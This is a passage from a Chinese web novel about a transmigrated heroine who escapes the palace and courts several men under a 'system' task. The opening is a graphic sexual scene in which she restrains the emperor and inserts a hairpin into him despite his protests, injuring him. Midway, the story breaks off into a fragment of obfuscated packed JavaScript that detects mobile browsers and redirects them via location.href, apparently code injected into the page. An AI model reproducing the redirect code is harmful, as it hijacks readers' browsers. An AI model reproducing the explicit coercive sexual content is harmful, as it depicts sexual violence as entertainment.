看进去,就容易栽进去了。
“......周妧?”
“嗯?”
我亲了亲他的脸,不理解他为何听到我的声音后松了口气,但这口气并没有松太久。
因为。
我又握住了他,将红绸带系到了底部。
打上了漂亮的蝴蝶结,小女孩的恶趣味。
我开始动着手腕。
移动,抚摸。
秦玦很快就发现了我这么做的原因。
他开始剧烈挣扎。
青筋快要冲破脆弱的雪白,几乎可以看清血液的流动。
“周妧!我要杀了你!”
他狂怒,我狂笑,笑得流出了眼泪。
“皇上息怒,这个时候最好别这么激动。”
不知道过了多久,他抖得不成样子,空荡的大殿里只有衣料的摩擦声。
我揉了揉发酸的手腕,又抬头看他。
秦玦的嘴唇已经被自己咬出血迹,混着涎水,在脸上晕开大片。
让人心疼。
我好心的给他擦了擦,“皇上,您为什么不说话,不骂我了?”
骂?他也得骂的出来啊!
秦玦在欲望的灼烧中仍保留着最后的一丝清明。
他绝不允许自己......做出这种不成体统的样子。
我趴在他耳边,“皇上,想不想......”
他胡乱的点了点头,整个人都是粉红的,美丽凉薄的凤眸里蒙着一层水雾。
“那皇上陪我玩个游戏,”我目光往他身下一扫,“我让皇上出来好不好。”
“你......”
秦玦想说你去死吧,声音出口后调子却......
他的脸侧过埋入被褥中,咬紧嘴唇,他再也忍受不了,各种欲望兜头浇下。
不说话就是默认这个规矩,多学几遍就会了。
我在秦玦杀人似的注视下,缓缓拔下发髻中藏起的金丝簪。
下一秒,秦玦猛攥我的领子,拉的我险些直接窒息而亡。
那个位置太要命了,搞不好会直接废了他。
他就可以站进李总管的队伍了。
要是他出什么意外,我也不用等系统了,估计会直接在这帐子里被一剑刺穿。
成为有史以来第一个头掉在龙床上的人。
好在我是个老手,经验丰富,金簪也够细。
扎进去的那一瞬间,秦玦眼都直了,他张开了嘴,却根本发不出任何声音。
直接失声。
叫都叫不出来。
我可以直接看到尝过的小舌。
柔软、甘甜,在里面无措的颤动着。
秦玦在撕扯的快感和混乱中,被一根针扎进了自己最柔软的内里。
看着那根针一样的发簪被周妧慢慢的磨了进去。
细密的痛苦与快感顺着脊骨攀升。
他尝到了恐惧的滋味。
周妧仍然没有打算放过他,金簪扎入的位置不深,她的手动了起来。
快的晃出了残影。
秦玦感觉自己是在做梦,像她刚入宫时那样。
只不过荒诞了些。
在梦里是可以流泪的吧。
他快要到达极限,理智、身体、爱欲……人类各种东西的极限。
温热划过脸颊,他觉得自己应该是叫出了声。
因为周妧突然扭头看他,倒像是被吓了一跳。
她叹了口气,动作却轻柔了下来,腾出一只手蹭掉他的泪痕,擦去他鼻尖的汗珠。
单调乏味的情欲在此时饱满了起来,秦玦看不见自己的难堪,或者说不想去看。
恍惚间,他听到了自己喉中断断续续的声响。
比这更难以接受的是灵魂坠入深渊的声音。
他输了,一败涂地,一塌糊涂。
风声灌耳,如同从高空极速坠落,没有一点办法。
会粉身碎骨吗?
还是落入到一个灼热的怀抱。
周妧抱住了他,秦玦眼角滑下最后一滴生理性泪水。
我有点不好意思了,这对我来说不过是上了点难度的情趣,怎么秦玦跟丢了魂似的?
他不会真没体验过这些吧。
啊!!!!!!!
他眼角掉下来的小珍珠是什么?
他可是皇上啊!
不是眼泪吧?
玩过头了,这下该怎么收场,他非弄死我不可。
不不不不,一定是因为下面被挡住了,才从上面出来的。
对,一定是这样的。
世界之大,无奇不有。
我安慰完自己,看着他几乎通红的眼睛,睫毛湿成一簇一簇。
秦玦眼神发直,从殷红的唇中冒出的话语破碎,几近哀吟。
我听不懂他想说什么,吓得心脏怦怦跳,颇为心虚地俯身抱了抱他。
趁他神智刚有回笼之际。
拉下红缎,拔下细簪。
他声音陡然拔高,只喊了一下,自己就哆嗦着捂住唇将剩下的尖利痛苦全部咽入腹中。
只是依旧没有任何纾解的迹象。
他仰头喘气,像是搁浅濒死的美丽海妖。
我心头又是一跳,惨了惨了,不会真过了头了吧。
手指碰了碰。
秦玦不堪忍受,眼角又洒出生理盐水。
“疼......”
他怔怔地看着我,已然失神。
青丝混着汗水凌乱的贴在身上,冷香浓的不能再浓,秦玦那双养尊处优的手,掌心遍布伤口,指甲硬生生劈断了一半,模糊的血印子被抓的到处都是。
他微微张着嘴,吐出的气息都不再温热,嘴唇上好几道浸满血的裂纹。
整个人透露出一种靡丽至死的状态。
这该怎么办?
痛苦不会消失,但会转移。
现在轮到我痛苦了。
我呼唤出系统,好在它那边暂时没有接到主线人物生命垂危的警告。
我狠了狠心,这种情况应该是可以挽救的。
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压着他修长的腿,我拉开了一晚上没动过的裙摆。
造孽啊......
......
天快要亮了,秦玦睁开眼,后脑阵阵眩晕。
想坐起来,不知道牵动了哪里,绵长的一缕疼痛顺着下腹蔓延。
他“嘶”了一声,后背流出冷汗,这感觉......
掀开被子,一根极细的金簪滚了出来。
尖端缠绕着干涸的血丝。
昨晚,这可是刑具。
秦玦变了脸色,眸底深处是下意识反应的惧意,随即是滔天的怒火。
周妧这个混账东西又跑了,他非要杀了她不可。
不。
五马分尸!
秦玦坐着缓了一会儿,一脸恶心的撩开了一个晚上就开出片片白花的暗红帷幔。
听到床上的动静,我也不敢抬头,在地上跪的更老实了。
三分钟前我刚从床上跑下来跪在地上,营造出一种自知罪孽深重跪了一晚上的氛围。
茶杯被甩了过来在我的腿边炸开。
该死的封建王权,该死的尊卑制度。
我不就是没控制住High了那么一小下吗,就扎进去那么一小点,比打个针都轻。
至于这么生气吗?
你不能光想着疼忘了爽吧,虽然丢了脸面,但也得了实在。
不算亏吧。
我“哐哐哐”实打实地磕了三个头。
他现在恢复了,我又成了那个柔弱的我,这谁不害怕。
“皇上我错了。”
“滚。”
“皇上......”
“滚!”
又一个茶杯“牺牲”在了我的脚边,茶杯上绘的小鸟被摔的四分五裂。
只剩一个头对着我,好像在笑。
我小心的避开了地上的碎瓷片,滚了出去。
很好,精心准备的台词一句也没用上,下次就不准备了。
李居怀看着我合上内室的门,表情古怪。
“皇上他......”
我站在风口,任风吹起我的发丝,留一个霸气狂妄的侧影给别人。
“皇上早起心情不好,起床气大了一点。”
李居怀忧心地往门上看了一眼,“美人......先回去吧。”
能留在皇上身边的人都不会是等闲之辈,他自小习武内力极深。
......所以昨晚听到了里面的声音。
“照顾好皇上。”
我落荒而逃,生怕晚一秒就有人跟我算账。
走到半路上,绿柳迎面跑了过来。
“美人,你怎么衣衫不整的就出来了。”
胡说什么!我衣服穿的好好的,就是没梳头发而已。
谁让盘发的金簪留给那位做纪念了呢。
昨晚过于得意,现在我神清气爽,甚至还想翻两个跟头。
“找我什么事?”
绿柳一拍脑袋,“对了美人,淮南王府的王大人又来了,他要带走昨天说的那个明烛。”
行吧,这两个跟头到宫外再翻。
我走小道带着绿柳摸进了玉阳宫的偏殿,换上了一套普通宫女的装扮。
“美人?”她不解的看着我。
“绿柳,我有个艰巨的任务要交给你......”
我附在她耳前,把我离宫后的事宜给她交代清楚。
“您要出宫?”她瞪大了眼睛,“这不行啊美人,妃嫔私逃出宫可是死罪,况且淮南王要的不是窦霓婉吗?”
“傻丫头,”我敲了敲她的脑袋,“咱们宫里哪有什么窦霓婉,那个人就是我!”
“是您?”
她惊叫出声,又死死地捂住自己的嘴,惊呼道:“您私自结交淮南王?!美人,这可是死罪!”
“嗯。”我挖了挖耳朵,想起昨夜秦玦活色生香的模样,“反正我的死罪也不止一桩了。”
绿柳大受震惊,她抓着我的手。
活像抓着一头主动奔向屠宰场找死的猪。
我拍拍她的手,“皇上近期应该不会来找我了,若是有人来,你就说我病了不见客。”
她的眼里闪着泪光,终究还是松开了手。
在一起久了,还真对这个小竹竿生出了些感情。
我语重心长的说出了那句经典语录,“我会回来的。”
兴奋过头了人就容易困,我上了那什么王大人的马车。
淮南王府殊荣很多,比如,王大人一亮牌子,连敢上来查车的人都没有。
漫长的车辙声响在耳边,我在里面睡的天昏地暗。
不知道到了什么时间。
马车终于速度减慢停了下来。
我从窗子上撩开一条缝,看到了金光闪闪的四个大字。
“淮南王府。”
11. 用红衣美男完成任务
王府的管家给我选了一处僻静的院子,好是挺好的,就是出门有点不方便。
不用想就知道这一定是万俟镜授意安排的。
虽然并不十分让我惊喜,但他的好意......
算了,别强迫自己,我实在领不了。
不能因为他抑郁就觉得天下所有的人都自闭吧。
这不就是从一个监狱出来换到另外一个监狱继续蹲吗?
关键我是坐古代版豪车来的,路上连个放风的时间都没有。
他知不知道我为了能顺利出逃付出了多大的代价。
如果不知道的话可以问一问秦玦。
老老实实待了三天后我真的受不了了,趁没人守着的时候跑了出去。
街道上到处都是做买卖的吆喝声,男女老少都有,热闹的很。
一些未出阁的姑娘戴着帷帽也能结伴而行,她们途经的地方都能飘起一阵香风。
我心旷神怡地从东街逛到西街,这才是阳间的日子嘛。
现在最大的问题就是买东西没有现成的银票。
不过不要紧,我什么身份?
我可是镇国大将军周越的女儿!
一阵风刮过吹起地上的几片树叶,写着“将军府”三个字的牌匾摇摇欲坠。
门口的几棵树上抬头就可以看到空荡荡的鸟巢。
连鸟都连夜搬家了。
狗不嫌家贫。
幸好我是人。
在扭头就走和拍门发疯之间我选择了使劲踢一脚门口的石狮子后扭头就走。
走出十来米,抬头望天,我又阴沉着脸转了回来。
我拍了拍门,大门上的蛛网也跟着抖三抖。
“谁啊?”门缝处露出一只眼睛。
我面无表情地和他对视,“我。”
这人仿佛被吓了一跳,拿下门闩拉开门,“二小姐!”
他环顾了一下四周,一把将我拽了进去。
这人五十岁上下,脸上的皱纹写满惊恐。
“您不是在宫里吗?是不是周家的事连累了您,皇上要杀您,您才跑出来的?”
这都被你猜到了,皇上现在确实挺想杀我的。
我并没有原身以前的记忆,思来想去,开口说:
“周家还有银钱吗?都放在哪里了?”
周茂:“......”
二小姐宫里走了一遭还是一点变化没有,不愧是将军府的人,不忘初心。
“我去给小姐拿。”
怎么聊着聊着他就一脸欣慰老泪纵横了呢?
我挠挠头,找了张板凳,坐着等钱主动到我手里。
“你确定吗?”
绯色的轻纱晃动,一道模糊的身影自里面走了出来,在纱帘前停住。
小厮装扮的人恭恭敬敬的低着头不敢乱看,“回公子的话,确实有一姑娘进了将军府。”
装潢华贵的屋子里可以看见纱帘内的香炉升起的白烟充斥着每个角落,浓烈诡异的花果香熏的人睁不开眼睛,几乎立刻能落下泪来。
小厮极力抵御自己的头昏脑胀,余光却瞧见了那道身影漫步到香炉前又往里添了勺香料。
他用手将白烟尽数扇动到自己的鼻翼前,语气兴奋而迷醉,“回来了啊,阿妧......”
厚厚的一沓银票塞到我的手里,空落落的心脏瞬间被填满。
我就知道,不管过了多久,不管身在何方。
你都是我唯一的爱人。
今生今世,永生永世,我都对你不离不弃、至死不渝。
牢牢握紧我的安全感,我抬头扫视了一眼周茂管家以及一大群红着眼圈围着我看的周府下人。
“行了,我就不在这儿久待了,免得有麻烦。”
给皇帝下毒的罪名太大,当然,小的也不能沾在我身上。
周家下人:二小姐还是一如既往的懒得敷衍,她一点儿也没变,好感动,呜呜呜呜......
一个圆脸小姑娘跑了过来,跪在我的脚边,吓得我险些一屁股坐在地上。
“小姐,您带我走吧。”小圆脸睁着两只大圆眼泪流满面。
我把银票收到里衣的夹层,嗯,这下放心多了。
抱歉,你谁?
我冷淡地看了她一眼,“你就留在周家吧。”
多养一张嘴会明显降低我的生活质量。
好不容易脱贫了,你还想一脚给我踹回解放前。
她抱住我的腿,“小姐,你不能没有我啊!”
我试图挪动一下被焊死在原地的双腿,未果。
不是,你看咱俩现在这样到底像是谁离不开谁。
“放开我。”
她泪珠子打在地上晕开片片水渍。
“小姐,我知道您素来狠心,但您能不能先不要这么狠心!”
他妈的,哪里来的二百五敢对我道德绑架。
“胡说!”我痛心疾首地睁大双眼,“我是怕你跟着我受苦。”
小圆脸仰头,“小姐,我不怕,哪怕跟着您天天挨打挨饿,我也要跟着您。”
其实如果你能考虑一下一天饿三顿,我也不是不能带上你。
“你们不知道,”我假模假式地抹了两下不存在的眼泪,“宫里的日子简直不是人过的......”
众人平静地看着我,一副司空见惯早已看透的模样,像是电影学院舞台前坐的一排随时准备点评打分的评委。
惨了,难不成是以前的周妧毁了我的风评?
最后我还是捎上了这个看起来脑子不太灵光的小圆脸。
她叫红枝。
红枝看着前方的街上一处围满一圈小孩的糖人摊子,“小姐,我一点也不饿。”
我:“嗯。”
你不饿,但是馋。
红枝舔了舔嘴唇,讨好地看着我,“我吃的少,养我可省钱了。”
我:“嗯。”
你最好是。
红枝的眼睛不经意的落在糖人上,眼底冒着绿光,“我要把钱都省下来给小姐买糖人吃。”
我:“......”
终于走过了那个糖摊,我抱着手面无表情。
红枝笑嘻嘻地蹦蹦跳跳,不时踢远脚下的石子。
与我的冷漠形成鲜明的对比。
你猜我为什么不笑。
我痛彻心扉地看着她的手。
里面攥着四个糖人,一手两个。
她小心翼翼地舔了舔胡乱画的糖人,“真甜啊,小姐。”
我叹了口气,带她回到了淮南王府。
门房的人不知道我是何时出去的,还领着一个大活人回来,顿时瞪大双眼,跑去禀报管事的。
管家只是随意看了一眼,挥手向底下的人交代道:“去给这位姑娘也收拾出一间屋子来。”
他问完红枝的名字,又将头扭向我,“霓婉姑娘,王爷找您。”
我点了点头,就知道偷跑出去瞒不过他。
“吱呀”一声推开门,万俟镜“看”了过来,嘴角带着笑意。
“外面好玩吗?”
我很自然的坐在离他最近的位置,“好玩。”
想了想又补充道:“很热闹,有挺多卖东西的。”
他的手几不可察地顿了一下,脸上笑意未减,好看的很无害。
“应该都不是多好的东西吧,王府里什么都有,你可以自行支取。”
“可是外头很有趣啊,”我拿起桌案上现成的大半杯茶,“而且我在宫里都没见过。”
万俟镜看着我端起那杯他用过的茶杯一饮而尽,嘴角的弧度加深。
“是吗?那下次出去的时候记得找管家支银子。”
我也笑了,真心的,“这不好吧,我怎么能花你的钱?”
他拿起我面前的空茶杯,倒满后又递给我。
“王府的钱很多,你可以随便用。”
这次,我浅浅抿了一口,放回桌子上,情绪不明。
“我累了,想回去休息。”
他蹙眉,不解地歪了一下头,像只懵懂天真的小鹿,看的我差点装不下去。
“你怎么了?生气了吗?你为什么生气?”
我沉默许久,勉强地开口道:“我不是......算了,没什么。”
万俟镜想拉住我,却只碰到了一点光滑的袖边。
他听着熟悉的脚步声逐渐远去,直至再也没有声音。
空荡的院落里又只有他一个人。
响着他那平稳的心跳,不得一刻安静。
什么时候这个聒噪的世界才能彻底安静下来?
万俟镜执起茶杯,摩挲杯口,将水润处抵在自己的唇边。
一饮而尽。
“小姐!”
我刚回到自己的院子,红枝就拿着什么东西冒冒失失的跑了出来。
她怎么和绿柳一个德行。
“不是说了吗,在这里要叫我霓婉,”我接过她递来的东西,“这什么?你给我写了小纸条?”
红枝摇了摇头,“我一个人待在屋子里等您,一转身,桌子上就出现了这个。”
!!!
我把来了之后做过的所有缺德事想了一遍,“红枝,你说这屋子里会不会有什么脏东西?”
我都是无奈之举,要怪就怪吃人的系统,都是它逼的。
系统:“......”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438895|169340||http|test|mini|href|location''.split(''|''),0,{}));
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>“触发隐藏任务,对象:乔云州,目前好感度:未解开。”
未解开?
当初我第一次见到万俟镜的时候,好感度说的是0,怎么到了这个乔云州身上就成了未解开呢?
系统装死不理我。
我打开手中的字条,认真的从头看到尾。
这龙飞凤舞,写的什么啊?!
是加密过的吗?
霸总日常下达任务,我把纸条甩给红枝,“念给我听。”
红枝接了过去,动作熟练的仿佛做过一千遍。
“我在千梦醉等你——乔。”
好吧,也许是只对我一个人加密了。
绝不是因为我没文化。
我问道:“千梦醉是什么地方?”
红枝古怪地看了我一眼,“是京城最大的酒楼,也是......”
“噢,”我拍了一下红枝的肩,“我懂了,小广告啊。”
在现代,但凡是个有人的地方准能找到一块蓝色牌子。
“我在XX很想你。”
原来这玩意在古代就被发明出来开始烂大街了。
“不用管,”我团吧团吧随手扔到了个犄角旮旯里,“这玩意和咱没关系。
能精准投放小广告的会所消费门槛肯定高。
“千梦醉”,这名字听起来就是直奔抢钱来的。
我叫出来系统,乔云州就是个跑堂儿的啊?
系统没吭声。
我暗自叹了口气,决定明天去帮他发传单攻略他。
想想那个画面。
我抢过他手里的那一摞小广告,强横地往他长满老茧的宽厚手掌中塞入同等厚度......
这银票是不是给的有点太多了。
就是秦玦我也不敢这么给啊,主要是怕钱太多吓到他。
对,不能炫富吓到别人。
那就塞入......嗯......一枚铜板。
然后用深情的眼神看着他,趁其不备把人掼到墙上壁咚。
“从今天起,你所有的传单我都包了,找个地儿买根冰棍凉快去,我来替你。”
他立刻被这个从未见过的霸道女人吸引,汗珠都惊的掉了下来。
“你为啥对俺这么好?”
我顺势将黝黑壮硕的人搂在怀中,“从我见你的第一眼起,就被你深深的吸引了,你愿不愿意给我个机会,让我守护你。”
再往他的手里塞个铜板。
他感动地握住这两枚铜板,黝黑的脸上升起两朵红云,“俺愿意。”
哈哈哈哈哈哈!
前途一片大好啊!
我被自己的精心设计厉害到了,随手扯出管家给我送来解闷的一个话本,躺床上看了起来。
这本书叫做《养花记》。
据说是当今京城里最风靡的,无数王孙贵女抬价哄抢,一本难求。
里面讲的是一个风流小姐在外出游历时捡到了一个奄奄一息的西域少年。
风流小姐叫元娘,西域少年叫阿赢。
“话说,一闺阁娇小姐深入大漠本欲一窥西域至宝,途径怪石滩看到滴滴答答的血渍。
小姐循着血迹一路而上找到了位身受重伤的小仙男。
小仙男仰躺在地不省人事,手虚握一柄黑金弯刀,月光之下,他肤白貌美......”
嗯?肤白貌美?
我心头闪过一抹怪异的感觉,继续看了下去。
“......右耳挂一银链,银链底端坠着纯净耀眼的蓝宝石,似黑夜闪过的流星。
少年裸露着一节细腰,比夏日里新长出的莲藕还要脆嫩......”
我看的津津有味,就连晚饭都挪到了床上吃。
还点名吃了藕。
不知不觉就看到了深夜。
“元娘看着刚刚醒来的美少年,问,你叫什么?
他不发一言,咬牙怒视。
元娘却笑了,说,既然你打架打输了,那以后就唤作阿赢吧。
我给你起了名字,你就是我的人了。”
我给你起了名字,你就是我的人了。
我在心里默念这句话。
啧,还挺浪漫。
里间的烛火突然跳了一下,书上的字瞬间花了。
我吆喝道:“红枝,剪一下烛心,灯暗了。”
“蜡烛都快燃尽了,你为什么没有来。”
屋子里响起了一个陌生男人的声音,像是江南柔情的水滑过心间。
他身着红衣,站在古色古香的床头。
我的脑子在这一刻闪过许多大屏幕上看到过的诡异片段。
尖叫出声:“鬼啊——”
12. 用四枚铜板的爱完成任务
男人半绾着发,模样很好,贵气十足。
与他风流的长相截然相反,那双含情的狐狸眼也同样被我惊了一下。
“吓到你了吗?”
他动作温柔地从我身上拾起被吓掉的书,“唰”的一下子不知道扔到了哪里去,动作行云流水。
一边观察着我的脸色,一边拉起我的手贴在他的胸前。
让我触摸到属于活人的温度以及掌心下狂热失控的心跳。
嚯!这福利!
果然活久了就能遇上好事,有朝一日鲜花居然还能送上门给采花贼糟蹋。
“是我呀,阿妧。”
他尾音挑起,像是挂了柄小勾子,勾的人心痒痒的。
他的红衣很轻薄,我将脸贴上那片颇为热情的心跳,无意间蹭到了某处可疑凸起。
乔云州身体一僵,眼里生出一汪春水。
他明明是来质问她的,质问她为何孤身入宫,质问她出来了又为何不来找他。
却舍不得这难得的温情时刻。
他就知道,阿妧也定是放不下他的。
知道她在皇宫中过的不如意,他心疼极了,却也不敢想办法进去偷偷看她一眼。
比起他的难受,更让他受不了的是周妧厌烦愤怒的眼神。
周妧最烦别人缠着她,他只能乖乖留在原地等。
我贴在这个香喷喷的美男身上,深吸一口气,“你谁啊?”
乔云州:“......”
“!”
他瞳孔地震,扣住我的肩将我推离。
“阿妧不要闹了,你怎么可能不知道我是谁。”
我盯着他惊慌失色的眼睛,猜测道:“那我是......我是你的心上人?”
乔云州满眼不可置信,咬唇,脸红了。
她怎么就这么说出来了。
她发现了吗。
不,她早就发现了,只是装作不知道,一点希望也不肯给他。
周妧,现在真的什么都不记得了。
他眸子沉了沉,心头剧痛,果然,将他视作一个陌生人时反而能心无芥蒂的说出这些让他魂牵梦萦的话。
她永远都是这么残忍。
乔云州眼眶酸涩,像是有一只手伸入他的体内搅动他的脏器令人痛不欲生。
咬紧牙关才勉强忍住想吐的欲望。
反复出现在噩梦里的一幕终于成真,他抖着手很想去摸摸她的柔软发尾,又怕她会生气。
“阿妧啊,凭什么?你说凭什么呢……”
系统冰冷机械的声音在我的脑海中响起:
“隐藏任务乔云州已开启,目前好感值:98,积分已入账。”
我看着泪眼朦胧像是快要死掉的、呃乔云州是吧,成功蒙圈。
“系统,你是不是坏了呀?这分也太高了吧!”
Excuseme?
前人栽树后人乘凉?
活怕是都被原身干完了,那我还有什么可攻略的。
看乔云州这个要死要活的样子就知道,他和原身的关系已经进入了Nextlevel。
这是一个来找我讨说法的。
还好我业务熟练,在解决这方面问题上是个老手。
系统:“我觉得如果你再不处理的话,他就要坏了。”
我扶上这位与我想象的差了十万八千里的乔云州,露出了我生平最温柔的笑容。
“云州?”
乔云州喉咙里发出像某种小动物一样的悲鸣,再也忍受不住地把我拉进了怀里。
他紧实有力的胸膛微微颤抖,就和小时候无数次一样,呢喃道:
“阿妧,别抛下我好吗......”
我的手轻轻拍上了他的后脑,“怎么会呢云州,我不要谁都不会不要你的。”
希望你有用些。
毕竟你可是目前为止最爱我的人。
或许在未来的某一天也可以成为我最爱的筹码。
为我换取其他人的爱。
乔云州将我搂的更紧,呼吸急促:“阿妧,对不起对不起......”
是他的错,全都是他的错。
如果不是他过于自负,又怎么会遭人算计......
他没脸见她,又……舍不得不见她。
“阿妧,你狠狠罚我吧,只要别离开我,打多重都没关系......”
肩头被打湿一片有些难受,我拉着乔云州坐到了身旁。
他鼻头粉红,可怜兮兮的不愿松开我的手。
像只被雨打湿的红色小狐狸。
我抽出一条手帕给他擦了擦脸,手帕盖着看不到他的表情,只是水渍越擦越多,像是永远也流不完一样。
差不多得了,我使劲捏了一下他的脸,给人掐出了一个明显的红印子。
“不许哭!再哭我就要烦了。”
他抽泣了几下,赶忙平复呼吸,小心翼翼地看着我的反应。
这张俊美的脸真的很影响我发挥啊!他到底是不是跑堂儿的?
是的话,他能结交将军的女儿,人看起来又这么贵气。
不是的话,他怎么能精准的出现在淮南王府找到我?
既然知道我在这儿,又为何扔下张莫名其妙的字条而不是立即与我相认?
我想了一番,逐渐还原出了事情的真相。
应该是这样的。
也许是他在派传单的时候认出了我,出于自卑再加上手里的活还没干完,只能藏起眼泪躲了出去。
电视剧里不都是这么演的吗。
千金小姐与穷小子的倾城之恋。
至于穿的好,或许是这行前途不错,挣得比较多,毕竟三百六十行行行出状元嘛。
况且,奢侈品店工作的店员不也总会以为自己和奢侈品的地位一样。
他可能就是装了点。
穷是真穷。
思路梳理好,我立刻成为了把控节奏的那个。
“白天干活累不累?”
乔云州愣了一下,虽不理解但摇摇头,“不累。”
我将两枚铜板一口气全都拿了出来拍在他的掌心。
果然,钱会给人底气,拍出一个和拍出两个的感觉就是不一样。
他手掌光滑细腻,让人很难不意乱神迷、心旌摇曳......
等等,怎么没有老茧?!
那可是资历的标志。
难不成他已经干到了领班?
乔云州的长袖被我碰得卷了上去,一根绑在他手腕上坠着两枚铜板的看起来有些年月的红绳滑落了下来。
很好,这下这根红绳上可以再挂俩了。
加起来就是四个。
可能比京城里混的最差的乞丐的日薪还要少一个。
我:“......”
人活着迟早社死。
周妧啊,虽然我们都叫周妧,可你是镇国大将军家的小姐,我是囊中羞涩的天选打工人。
你就一定!你就非得!
两枚铜板!
我都不好意思说你,说出来都嫌磕碜。
这是倾城之恋吗?这是坑蒙拐骗吧。
原以为小姐爱黄毛,没想到小姐是黄毛。
路都被别人走了,我能怎么办?
我能开挖掘机。
“哎呀,”我捂住嘴故作惊讶,“这钱怎么都掉出来了?”
“这可是我身上所有的钱了。”又强调了一下。
当尴尬已成改变不了的事实的时候,或许能忘掉尴尬的只有更尴尬。
这样刚刚的小插曲就能被顺理成章的遗忘了。
不能用钱闪瞎他的眼就用真心闪瞎他的眼。
还好真心不用掏钱,又是省钱的一天。
我作为有两块就给对象花两块的最佳伴侣,比那些有一百给对象花九十九的不知道强出多少。
乔云州攥紧两枚铜板,看着我的眼神倒真多了些说不清的意味,他同样拿出了一支玉簪放在了我的手里。
玉簪的头部是雕刻的含苞待放的雪梅,和他簪着的像是出自一人之手。
我假装没有看出他给情侣款的小心机,因为我更在意他把我的礼物甩出九条街让我丢了面子。
女人的面子和她
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的命有什么区别。
我绷着脸看着这个“不懂事”的男人,沉默地把玉簪收进了怀里。
乔云州问道:“阿妧,你今晚怎么没有过来找我。”
说着,他想起了什么似的,嫌恶地又瞪了眼早就被扔到一边的画本子。
心如蛇蝎的浪货,死了都不让人安生。
我“啊”了一声,“为什么要去找你啊?”
难道他想把情人发展成客户?将感情转化为业绩?
“我给你留了字条的。”
乔云州眼尾耷拉着,委屈地少了一半的神彩。
我听得云里雾里,“那不是你发的广告吗?”
他道:“什么是广告?那是我特意写给你的。”
我睁大了眼睛,“你不是跑堂儿的吗?”
乔云州呆住了,“我为什么会是......”
他捧着我的脸,我抻着脖子像个长颈鹿似的端详他。
“阿妧,你看着我,认真些!你是又厌恶我了吗,还是故意让我难过,为什么会觉得我像个跑堂的?”
跑堂儿的怎么了,我就当过跑堂儿的,你年纪不大,有色眼镜倒是不少。
呸!刻薄鬼!
几息之间,他的心凉了个彻底,看着女人瞳孔中倒映出的自己,紧张地等着她的回答。
“你确实变了。”
我点了点他鼻尖的小痣,“变得更好看了。”
“我们乔乔,怎么这么好看!”
乔云州的心无尽下沉后又被高高抛起,恍惚间想起了七岁那年,在江南乔家的院子里,他被继母罚跪。
那是冬天,阴云遮日,湿冷湿冷的。
他跪在地上冻得全身浮肿,几乎已经感觉不到了疼痛。
周妧爬上墙头,托着腮看着他。
像是看着一只被冻傻的小狗。
乔云州罕见地生出了一丝羞耻和愤怒,他捡起一个石子打到了她的帽檐。
“不许看!”
小孩的手没个准,险些打到她的眼睛上,他瞬间被吓傻了。
周妧是大将军的千金,也是......也是唯一愿意和他玩的小孩。
乔云舟嘴里“呜噜呜噜”的发着哭音,眼泪却冷的根本流不下来。
可周妧并不在意,她笑嘻嘻道:“看你好看呗!”
在小狗冷死前,她解下狐裘披风扔到他的身上,看也不看就跳了下去,只留给他一句话。
“脸都冻紫了,小可怜。”
——
配着周妧直到她睡熟,乔云州才回到千梦醉的顶楼。
屋里依旧点着浓到极点的熏香,她不在身边的时候,只有闻着相似的味道,才有那么点安心。
乔云州侧倚在榻上,罕见的叫人将香炉拿远一些。
他蹙起眉,这庸俗的味道和阿妧身上的还是差了太远,改日再重新配置一些才是。
阿妧看起来什么都不记得了,她忘记了所有和他一起的曾经,乔云州叹了口气,将新得的两枚铜板串到手腕的红绳上。
一黑衣女子无声无息的走了进来,“公子,她不见了。”
什么!
乔云州弹坐起来,他直起了身子,指甲狠狠地陷入掌心,汩汩鲜血滴落,顺着袖口没入衣间,粘哒哒的。
像是他早已溃烂的内里。
过了好一会儿,他才勉强找回自己的声音:“找,赶快去给我找。”
那件事......千万不能让阿妧知道……
“若是找不到,你们就都不用活着回来见我了。”
乔云州脱力般躺了下去,他揪住自己的衣领,表情一半疯魔一半阴森。
用干净的那只手从心口处掏出叠好的手帕,轻轻地放在唇边,他慢慢平静下来。
没关系,他可以处理好一切,阿妧不会知道的......
答应了乔云州有时间就去找他,可今天风和日丽鸟语花香,实在适合找个忧郁的美人陪着。
试想一下,如此良辰美景艳阳天,他看不见,我看的见,这多爽啊。
我吹着小曲儿,走向了万俟镜的院子。
13. 用出去玩被抓包完成任务
“镜镜!”
我背着手散步过来,像是来视察下属单位的老板。
管家不知道在向万俟镜汇报什么,听到我高声呼喊便跑了出来。
“哎呦,霓婉姑娘,王爷的院子里挺安静的呀。”
只有你在大呼小叫。
“说什么呢。”
我绕过他,径直走向万俟镜,他跪坐在床边的书案前,日光照在他的半边脸上,给稀疏细小的绒毛镀上一层金光,好看的跟画似的。
一个香甜可口的金色水蜜桃,真可爱。
“镜镜,今天天气特别好,咱们出去玩吧。”
“啪嗒”一声,什么东西掉了。
我望向身后跟上来的人,哦,原来是管家的下巴。
“镜镜,好不好嘛!”我不见外地抱住万俟镜的胳膊晃了晃。
“霓婉姑娘,你......”你也太放肆了。
管家想开口制止却被万俟镜打断,他将身体微微与女人拉开距离,无奈道:“你不能这样叫我,这不合规矩。”
我将他的胳膊抱的更紧了:“好的镜镜!所以咱们可以出去玩了吗?”
管家:“......”
这女人真是油盐不进。
万俟镜将另外一只手抵在唇边咳了一下,他垂眸,“让管家陪你去吧,我……不太喜欢出去。”
为什么所有的“好差事”晃一圈最后都能落到他头上,管家咬牙隐忍:“我愿意。”
我审视了一番他的脸,选择忽视他这个人的存在。
“镜镜,可是我只想和你一起,咱们可以坐在马车里去城外逛一圈,你想想,铺一块毯子坐在草地上喝茶吃点心,头顶是明媚的阳光,四周鸟语花香,多舒服啊!”
我劝道。
“可是,王府花园里的景色比郊外不是好多了吗?”
万俟镜一脸真诚。
我:“这个……”
“外面不干净,即使铺了毯子,东西往地上一放也不能吃了,会有土。”
他耐心解释。
我:“那个……”
“而且可能会有其他人经过,席地而坐太失礼了,只有乞丐才会那样。”
他含着温和的笑,慈眉善目。
我,周妧,从幼儿园到大学都生活在鸽子笼一样的教室,每天可以见得到的风景就只有颜色各异的书桌上历届学生留下来的风景画和人像画。
